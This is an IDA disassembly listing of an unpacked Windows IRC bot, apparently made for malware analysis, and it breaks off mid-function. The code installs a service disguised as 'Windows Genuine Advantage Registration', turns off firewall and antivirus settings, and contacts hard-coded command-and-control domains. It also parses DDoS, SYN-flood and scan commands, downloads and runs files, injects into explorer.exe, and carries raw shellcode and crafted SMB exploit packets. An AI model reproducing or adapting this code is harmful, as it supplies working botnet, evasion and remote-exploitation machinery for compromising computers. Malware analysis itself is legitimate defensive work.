; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 28C8DADABF9911B53B8E186A6EAAA4CC ; File Name : u:\work\28c8dadabf9911b53b8e186a6eaaa4cc_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00006000 ( 24576.) ; Section size in file : 00006000 ( 24576.) ; Offset to raw data for section: 00001000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write MEW segment para public 'BSS' use32 assume cs:MEW ;org 401000h assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing dword_401000 dd 77E37D39h ; resolved to->ADVAPI32.StartServiceCtrlDispatcherAdword_401004 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_4027AF+24r ... dword_401008 dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4027AF+Er ... dword_40100C dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4027AF+42r ... dword_401010 dd 77E37311h ; resolved to->ADVAPI32.DeleteServicedword_401014 dd 77DEB193h ; resolved to->ADVAPI32.SetServiceStatusdword_401018 dd 77DF0953h ; resolved to->ADVAPI32.RegisterServiceCtrlHandlerAdword_40101C dd 77E36CC9h ; resolved to->ADVAPI32.ChangeServiceConfigAdword_401020 dd 77DEB635h ; resolved to->ADVAPI32.ControlServicedword_401024 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4034DF+E7r ... dword_401028 dd 77E36F61h ; resolved to->ADVAPI32.ChangeServiceConfig2A ; sub_4026D6+C4r dword_40102C dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4034DF+C3r ... dword_401030 dd 77DFD5BBh ; resolved to->ADVAPI32.RegCreateKeyA ; sub_4034DF+A8r ... dword_401034 dd 77DF087Fh ; resolved to->ADVAPI32.SetSecurityInfodword_401038 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceAdword_40103C dd 77E37071h ; resolved to->ADVAPI32.CreateServiceA dd 0 dword_401044 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_4037DC+6r dword_401048 dd 7C81042Ch ; resolved to->KERNEL32.CreateRemoteThreaddword_40104C dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemory ; sub_4037DC+D4r dword_401050 dd 7C809A72h ; resolved to->KERNEL32.VirtualAllocExdword_401054 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_401058 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileAdword_40105C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_405BB6+82r dword_401060 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_401064 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_404CE7+B3r dword_401068 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_404CE7+93r dword_40106C dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; MEW:00403B81r ... dword_401070 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_401074 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_401078 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsAdword_40107C dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_401080 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileAdword_401084 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_401088 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_40108C dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFreedword_401090 dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_401094 dd 7C8608FFh ; resolved to->KERNEL32.GetTempFileNameAdword_401098 dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_40109C dd 7C8365A5h ; resolved to->KERNEL32._lcreatdword_4010A0 dd 7C834E64h ; resolved to->KERNEL32._lclosedword_4010A4 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; MEW:00403AACr ... dword_4010A8 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_4037DC+54r ... dword_4010AC dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; sub_402C9E+C3r ... dword_4010B0 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresentdword_4010B4 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_403A51+25r ... dword_4010B8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_4010BC dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_4028D3+10Er ... dword_4010C0 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4010C4 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_4034DF+286r dword_4010C8 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_4010CC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4010D0 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_4010D4 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40284B+29r ... dword_4010D8 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeAdword_4010DC dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_402650+6Er ... dd 0 dword_4010E4 dd 71A6EA82h dd 0 dword_4010EC dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_4010F0 dd 7E418D2Bh ; resolved to->USER32.CharUpperA ; sub_403E5B+A0r dword_4010F4 dd 7E43210Ah ; resolved to->USER32.FindWindowExA ; sub_40553F+84r ... dword_4010F8 dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessId ; sub_40553F+6Dr dword_4010FC dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_40553F+CAr ... dword_401100 dd 7E43147Ah ; resolved to->USER32.GetMenudword_401104 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_4028D3+123r ... dd 0 dword_40110C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; MEW:0040464Cr ... dword_401110 dd 71AB2C69h ; resolved to->WS2_32.sendto ; MEW:0040474Fr ... dword_401114 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; MEW:00404A77r ... dword_401118 dd 71AB4489h ; resolved to->WS2_32.WSAIoctldword_40111C dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40414F+10Dr ... dword_401120 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_402C9E+2E8r dword_401124 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_40414F+1A6r dword_401128 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; MEW:0040452Cr dword_40112C dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_403B95+1D2r ... dword_401130 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4028D3+144r ... dword_401134 dd 71AB951Eh ; resolved to->WS2_32.getsockname ; MEW:00404577r ... dword_401138 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_403B95+1FEr dword_40113C dd 71AB615Ah ; resolved to->WS2_32.recv ; MEW:004049F2r ... dword_401140 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_403062+167r ... dword_401144 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_401148 dd 71AB3E00h ; resolved to->WS2_32.bind ; MEW:0040496Br dword_40114C dd 71AB88D3h ; resolved to->WS2_32.listendword_401150 dd 71AC1028h ; resolved to->WS2_32.acceptdword_401154 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_401158 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_403B95+2A2r dword_40115C dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_401160 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_403B95+60r ... dword_401164 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_403062+3A3r ... dd 6 dup(0) aCWindowsSystem db 'C:\WINDOWS\system32\wgareg.exe',0 ; DATA XREF: sub_402650+9o ; sub_402650+19o ... align 10h dd 3Ah dup(0) dword_401288 dd 0 ; sub_402C9E+28Er ... dword_40128C dd 0 ; sub_4028D3+6Fr ... dword_401290 dd 0 ; sub_4028D3+1Aw ... word_401294 dw 0 ; DATA XREF: sub_4028D3+2Aw ; sub_4028D3+42w ... align 4 dword_401298 dd 80h dup(0) ; sub_4028D3+139o ... dword_401498 dd 4 dup(0) ; sub_402C9E+189o ... dword_4014A8 dd 8 dup(0) ; sub_4028D3+114o ... dword_4014C8 dd 0 ; sub_4028D3+133r ... dword_4014CC dd 0 ; sub_4044C0+3w ... dword_4014D0 dd 0 ; MEW:004051C7w ... dword_4014D4 dd 0 ; sub_403062+383r dword_4014D8 dd 0 ; sub_402C9E+2DCr ... dword_4014DC dd 0 ; sub_4028D3+C7r ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402650+58o ; sub_4027FE+9o ... align 4 dd 3Dh dup(0) aD: ; DATA XREF: sub_403062+3DFo ; sub_4037DC+37o ... unicode 0, <d>,0 unicode 0, <h>,0 db '¼',7,0 align 4 dd 6F8h dword_401600 dd 44h ; sub_4027FE+2Fw ... dd 0Ah dup(0) dword_40162C dd 81h word_401630 dw 0 ; DATA XREF: sub_4027FE+43w align 4 dd 4 dup(0) dword_401644 dd 0FF682DEBh, 68FFFFFFhdword_40164C dd 4 db 0B8h dword_401651 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject db 0FFh, 0D0h, 68h dword_401658 dd 4 db 0B8h dword_40165D dd 7C809B47h ; resolved to->KERNEL32.CloseHandle db 0FFh, 0D0h, 0B8h dword_401664 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA dd 6AD0FFh db 0B8h dword_40166D dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess db 0FFh, 0D0h, 0E8h dd 0FFFFFFCEh, 0 dword_40167C dd 1 ; sub_403062+335w ... dword_401680 dd 1 ; sub_403A51+Cw ... dd 1 dword_401688 dd 1 ; sub_4048CF+Cw ... dword_40168C dd 1 ; sub_404F02+87w ... dword_401690 dd 401180BAh, 510B900h, 0FE80000h, 0BA000000h, 4016B7h ; DATA XREF: sub_4025E7+4o dd 45A5B9h, 259C6800h, 32800040h, 0FAE242B0h, 8C2h dword_4016B8 dd 32312E25h, 255C7338h, 7334362Eh, 0aBniu_househot_ db 'bniu.househot.com',0 ; DATA XREF: sub_4028D3+Eo ; sub_4028D3:loc_402905o byte_4016DA db 2Eh ; DATA XREF: sub_402C9E+12Cr ; sub_402C9E+23Dr byte_4016DB db 21h ; DATA XREF: sub_402C9E+14Br ; sub_402C9E+25Cr word_4016DC dw 9346h ; DATA XREF: sub_4028D3+3Cr align 10h aYpgw_wallloan_ db 'ypgw.wallloan.com',0 ; DATA XREF: sub_4028D3+1Ao align 4 word_4016F4 dw 9346h ; DATA XREF: sub_4028D3+24r align 4 dword_4016F8 dd 316E23h ; sub_402C9E+38Ao ... aNert4mp1 db 'nert4mp1',0 ; DATA XREF: sub_402C9E+385o align 4 dword_401708 dd 12Ch dword_40170C dd 2D316Eh dword_401710 dd 6461212Ah, 406E696Dh, 696D6461h, 6EhaWgareg_0 db 'wgareg',0 ; DATA XREF: sub_4025F4+9o align 4 aWgareg_exe db 'wgareg.exe',0 ; DATA XREF: sub_402650+14o align 4 aWgareg db 'wgareg',0 ; DATA XREF: MEW:004025BAo ; sub_4026D6+1Ao ... align 4 aWindowsGenuine db 'Windows Genuine Advantage Registration Service',0 ; DATA XREF: sub_4026D6+52o align 10h aEnsuresThatYou db 'Ensures that your copy of Microsoft Windows is genuine and regist' ; DATA XREF: sub_4026D6+A0o db 'ered. Stopping or disabling this service will result in system in' db 'stability.',0 align 10h aNick_24s db 'NiCK %.24s',0Ah,0 ; DATA XREF: sub_4028D3+119o ; sub_402C9E+19Eo aUserLLLL db 'USeR l l l l',0Ah,0 ; DATA XREF: sub_4028D3+ECo align 4 aPrivmsg_16s_48 db 'PRiVMSG %.16s :%.480s',0Ah,0 ; DATA XREF: sub_402C53+11o align 4 aJoin_16s_16s db 'JOiN %.16s %.16s',0Ah,0 ; DATA XREF: sub_402C9E+38Fo align 4 aUserhost_16s db 'USeRHOST %.16s',0Ah,0 ; DATA XREF: sub_402C9E+354o a001 db '001',0 ; DATA XREF: sub_402C9E:loc_402FC4o a302 db '302',0 ; DATA XREF: sub_402C9E:loc_402F16o a332 db '332',0 ; DATA XREF: sub_402C9E:loc_402E72o a433 db '433',0 ; DATA XREF: sub_402C9E:loc_402E05o ; sub_405394:loc_40544Eo aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_402C9E:loc_402D59o aPong_500s_0 db 'PoNG %.500s',0Dh,0Ah,0 ; DATA XREF: sub_402C9E+85o align 10h aPing db 'PING',0 ; DATA XREF: sub_402C9E+70o ; sub_405394+6Ao align 4 aExec db '[exec] :(',0 ; DATA XREF: sub_403062:loc_403476o align 4 aExec_0 db '[exec] :)',0 ; DATA XREF: sub_403062+408o align 10h aNi_16s_16s db '[ni] %.16s %.16s',0 ; DATA XREF: sub_403062+3B1o align 4 a_500s db '%.500s',0Ah,0 ; DATA XREF: sub_403062+25Eo ; sub_404FCE+17o aQuit db 'QUiT',0Ah,0 ; DATA XREF: sub_403062+150o align 4 a_8s08x db '%.8s%08x',0 ; DATA XREF: sub_4034BB+Fo align 10h aSharedaccess db 'sharedaccess',0 ; DATA XREF: sub_4034DF+29Do align 10h aSDebugDcpromo_ db '%s\debug\dcpromo.log',0 ; DATA XREF: sub_4034DF+252o align 4 aSoftwarePoli_0 db 'software\policies\microsoft\windowsfirewall\standardprofile',0 ; DATA XREF: sub_4034DF+205o aEnablefirewall db 'enablefirewall',0 ; DATA XREF: sub_4034DF+1EAo ; sub_4034DF+222o align 4 aSoftwarePolici db 'software\policies\microsoft\windowsfirewall\domainprofile',0 ; DATA XREF: sub_4034DF+1CDo align 10h aFirewalldisa_0 db 'firewalldisableoverride',0 ; DATA XREF: sub_4034DF+1B2o aFirewalldisabl db 'firewalldisablenotify',0 ; DATA XREF: sub_4034DF+197o align 10h aAntivirusoverr db 'antivirusoverride',0 ; DATA XREF: sub_4034DF+17Co align 4 aAntivirusdisab db 'antivirusdisablenotify',0 ; DATA XREF: sub_4034DF+161o align 4 aSoftwareMicr_0 db 'software\microsoft\security center',0 ; DATA XREF: sub_4034DF+144o align 10h aAutosharewks db 'autosharewks',0 ; DATA XREF: sub_4034DF+129o align 10h aAutoshareserve db 'autoshareserver',0 ; DATA XREF: sub_4034DF+10Eo aSystemCurren_0 db 'system\currentcontrolset\services\lanmanserver\parameters',0 ; DATA XREF: sub_4034DF+F1o align 4 aRestrictanon_0 db 'restrictanonymoussam',0 ; DATA XREF: sub_4034DF+D6o align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_4034DF+BBo align 4 aSystemCurrentc db 'system\currentcontrolset\control\lsa',0 ; DATA XREF: sub_4034DF+9Eo align 10h aEnabledcom db 'enabledcom',0 ; DATA XREF: sub_4034DF+83o align 4 aSoftwareMicros db 'software\microsoft\ole',0 ; DATA XREF: sub_4034DF+6Ao align 4 aN: ; DATA XREF: sub_4034DF+9o unicode 0, <n>,0 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4037DC+4Do align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_403A18+1Do align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_403A18+9o align 4 aFindfile_256s_ db '[findfile] %.256s%.240s',0 ; DATA XREF: sub_404033+D0o a_256s_250s db '%.256s%.250s\',0 ; DATA XREF: sub_404033+8Co align 4 a__ db '..',0 ; DATA XREF: sub_404033+6Ao align 4 a_: ; DATA XREF: sub_404033+54o ; sub_404CE7+45o unicode 0, <.>,0 a_256s db '%.256s*',0 ; DATA XREF: sub_404033+Co aComspecQ db '"%comspec%" /Q',0 ; DATA XREF: sub_40414F+221o align 4 aSyn_16sDoneUms db '[syn:%.16s] done [%ums] [%u packets] [%uMB] [%uK/s]',0 ; DATA XREF: MEW:0040483Fo dbl_401B88 dq 1.0e3 ; DATA XREF: MEW:00404816r a_16sHu_16sHu_2 db '[%.16s:%hu->%.16s:%hu] "%.256s"',0 ; DATA XREF: MEW:00404C1Co aJoin db 'JOIN #* *',0 ; DATA XREF: sub_404C51+53o align 4 aOper?? db 'OPER ?* ?* *',0 ; DATA XREF: sub_404C51+4Co align 4 aPass? db 'PASS ?* ',0 ; DATA XREF: sub_404C51+45o align 4 aUser? db 'USER ?* ',0 ; DATA XREF: sub_404C51+3Eo align 4 a?Ddos db '* :?*ddos* *',0 ; DATA XREF: sub_404C51+37o align 4 a?Udp db '* :?*udp* *',0 ; DATA XREF: sub_404C51+30o a?Syn db '* :?*syn* *',0 ; DATA XREF: sub_404C51+29o a?Scan db '* :?*scan* *',0 ; DATA XREF: sub_404C51+22o align 4 a?set db '* :?set * * *',0 ; DATA XREF: sub_404C51+1Bo align 4 a?login db '* :?login * *',0 ; DATA XREF: sub_404C51+14o align 4 aPrivmsg? db '*PRIVMSG * :?* *',0 ; DATA XREF: sub_404C51+Do align 10h a_332? db '*:*.* 332 * #* :?* *',0 ; DATA XREF: sub_404C51+6o byte_401C65 db 3 dup(0) ; DATA XREF: sub_404CE7+40o aDl08xDl db '[dl:%08x] :( dl',0 ; DATA XREF: sub_404CE7+1F4o aDl08xExec db '[dl:%08x] :( exec',0 ; DATA XREF: sub_404CE7+1C5o align 4 aDl08x db '[dl:%08x] :)',0 ; DATA XREF: sub_404CE7+188o align 4 aDl08x_180sTo_1 db '[dl:%08x] %.180s to %.180s',0 ; DATA XREF: sub_404CE7+10Fo align 4 aUrldownloadtof db 'URLDownloadToFileA',0 ; DATA XREF: sub_404CE7+A8o align 4 aUrlmon_dll db 'urlmon.dll',0 ; DATA XREF: sub_404CE7+8Eo align 4 aNick_16s db 'NICK %.16s',0Ah,0 ; DATA XREF: MEW:00405272o ; sub_405394+171o aUser_16s_16s_1 db 'USER %.16s "" "%.16s" %.16s',0Ah,0 ; DATA XREF: MEW:00405235o align 4 aPong_500s db 'PONG %.500s',0Dh,0Ah,0 ; DATA XREF: sub_405394+7Fo align 4 a_oscar_tree db '_Oscar_Tree',0 ; DATA XREF: sub_40553F+9Ao a32770 db '#32770',0 ; DATA XREF: sub_40553F+4Ao ; sub_40553F+7Ao align 4 a_oscar_statusn db '_Oscar_StatusNotify',0 ; DATA XREF: sub_40553F+8o a_oscar_iconbtn db '_Oscar_IconBtn',0 ; DATA XREF: sub_405728+8Ao align 4 aAte32class db 'Ate32Class',0 ; DATA XREF: sub_405728+5Fo align 4 aCbclass db 'CBClass',0 ; DATA XREF: sub_405728+49o aWndate32class db 'WndAte32Class',0 ; DATA XREF: sub_405728+2Do align 10h aAim_imessage db 'AIM_IMessage',0 ; DATA XREF: sub_405728+Bo align 10h aInstantMessage db 'Instant Message',0 ; DATA XREF: sub_405728:loc_40572Eo dword_401D90 dd 0EFFFC481h, 0EB44FFFFh, 0E86BEB02h, 0FFFFFFF9h, 57565553h ; DATA XREF: sub_405AE6+61o dd 18246C8Bh, 8B3C458Bh, 3780554h, 184A8BD5h, 3205A8Bh dd 4932E3DDh, 38B348Bh, 0FCFF33F5h, 3AACC033h, 0C10774C4h dd 0F8030DCFh, 7C3BF2EBh, 0E1751424h, 3245A8Bh, 0C8B66DDh dd 1C5A8B4Bh, 48BDD03h, 0EBC5038Bh, 5FC03302h, 895B5D5Eh dd 8B042444h, 44892404h, 448B0824h, 0C4830424h, 6A5EC308h dd 8B645930h, 0C5B8B19h, 8B1C5B8Bh, 87B8B1Bh, 8B1CEC83h dd 50C033ECh, 78652E68h, 14658965h, 49EA6857h, 0D6FFE88Ah dd 75FF066Ah, 89D0FF14h, 68570445h, 0E9238ADBh, 4589D6FFh dd 8E68570Ch, 0FFEC0E4Eh, 66C933D6h, 516C6CB9h, 2E323368h dd 73776864h, 0FF545F32h, 53D88BD0h, 1819B668h, 89D6FFE7h dd 68531045h, 79C679E7h, 4589D6FFh, 6E685318h, 0FF492F0Bh dd 6A066AD6h, 0FF026A01h, 84589D0h, 5050C033h, 0FF02B850h dd 0F4800427h, 0C48B50FFh, 0FF50106Ah, 68530875h, 0C7701AA4h dd 0D0FFD6FFh, 0A4685358h, 0FFE92EADh, 0FF106AD6h, 0D0FF0875h dd 5050C033h, 530875FFh, 8649E568h, 0FFD6FF49h, 84D8BD0h dd 51084589h, 811855FFh, 0FFFEFCC4h, 33DC8BFFh, 0FFB151C9h dd 75FF5351h, 1055FF08h, 0A7EC085h, 75FF5350h, 0C55FF04h dd 75FFE5EBh, 1855FF08h, 4C5B6857h, 0D6FFDD1Ah, 0FF0475FFh dd 50C033D0h, 571475FFh, 8AFE9868h, 0FFD6FF0Eh, 0EF6857D0h dd 0FF60E0CEh, 0D0FFD6h dword_401F28 dd 197h ; sub_405AE6+4Cr ... dword_401F2C dd 182h ; sub_4059EF+50r ... dword_401F30 dd 0EFFFC481h, 8B44FFFFh, 0EB02EBECh, 0FFF9E86Bh, 5553FFFFh ; DATA XREF: sub_4059EF+2Eo dd 6C8B5756h, 458B1824h, 5548B3Ch, 8BD50378h, 5A8B184Ah dd 0E3DD0320h, 348B4932h, 33F5038Bh, 0C033FCFFh, 74C43AACh dd 0DCFC107h, 0F2EBF803h, 14247C3Bh, 5A8BE175h, 66DD0324h dd 8B4B0C8Bh, 0DD031C5Ah, 38B048Bh, 3302EBC5h, 5D5E5FC0h dd 2444895Bh, 24048B04h, 8244489h, 424448Bh, 0C308C483h dd 364C033h, 408B3040h, 1C708B0Ch, 8788BADh, 50C0335Eh dd 78652E68h, 14658965h, 49EA6857h, 0D6FFE88Ah, 75FF066Ah dd 89D0FF14h, 68570445h, 0E9238ADBh, 4589D6FFh, 8E68570Ch dd 0FFEC0E4Eh, 66C933D6h, 516C6CB9h, 2E323368h, 73776864h dd 0FF545F32h, 53D88BD0h, 1819B668h, 89D6FFE7h, 68531045h dd 79C679E7h, 4589D6FFh, 6E685318h, 0FF492F0Bh, 6A066AD6h dd 0FF026A01h, 4589D0h, 5050C033h, 0FF02B850h, 0F4800427h dd 0C48B50FFh, 0FF50106Ah, 68530075h, 0C7701AA4h, 0D0FFD6FFh dd 0A4685350h, 0FFE92EADh, 75FFD6h, 5050D0FFh, 530075FFh dd 8649E568h, 0FFD6FF49h, 4589D0h, 0FEFCC481h, 0DC8BFFFFh dd 0B151C933h, 0FF5351FFh, 55FF0075h, 7EC08510h, 0FF53500Ah dd 55FF0475h, 57E5EB0Ch, 1A4C5B68h, 0FFD6FFDDh, 0D0FF0475h dd 0FF50C033h, 68571475h, 0E8AFE98h, 0D0FFD6FFh, 0CEEF6857h dd 0D6FF60E0h, 0D0FFh, 0 dword_4020B8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40587E+3Bo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_402148 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40587E+4Do dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 2 dup(0) dword_4021F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40587E+5Fo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4022D8 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_40587E+9Eo dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_402318 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40587E+ADo dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 2 dup(0) dword_402380 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40587E+BFo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_402428 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_4024B0 dd 0 dd 0D7h, 1, 0 dd 1, 0 dd 0CBh, 3 dup(0) dword_4024D8 dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_405AE6+Eo dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_402560 dd 0 dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_402584 dd 205D655Bh, 36312E25h, 2E252073h, 7332hdword_402594 dd 6B32h dword_402598 dd 7078h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h and dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], offset loc_40288B and dword ptr [ebp-8], 0 and dword ptr [ebp-4], 0 call sub_40284B mov dword ptr [ebp-10h], offset aWgareg ; "wgareg" call sub_4027FE lea eax, [ebp-10h] push eax call dword_401000 ; StartServiceCtrlDispatcherA test eax, eax jnz short loc_4025D9 call sub_402650 loc_4025D9: ; CODE XREF: MEW:004025D2j call sub_4025F4 ; --------------------------------------------------------------------------- dw 4E8h dd 33000000h db 0C0h, 0C9h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025E7 proc near var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], offset dword_401690 leave retn sub_4025E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4025F4 proc near ; CODE XREF: MEW:loc_4025D9p ; MEW:004028C3p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h push offset aWgareg_0 ; "wgareg" push 0 push 0 call dword_4010CC ; CreateMutexA test eax, eax jz short loc_40261D call dword_4010D0 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_402625 loc_40261D: ; CODE XREF: sub_4025F4+1Aj push 0 call dword_4010D4 ; ExitProcess loc_402625: ; CODE XREF: sub_4025F4+27j call sub_4034DF lea eax, [ebp+var_190] push eax push 101h call dword_401144 ; WSAStartup loc_40263C: ; CODE XREF: sub_4025F4+58j call sub_4028D3 push 4000h call dword_4010DC ; Sleep jmp short loc_40263C sub_4025F4 endp ; --------------------------------------------------------------------------- dw 0C3C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402650 proc near ; CODE XREF: MEW:004025D4p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 104h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wgareg.exe" call dword_4010C0 ; GetSystemDirectoryA push offset aWgareg_exe ; "wgareg.exe" push offset aCWindowsSystem ; 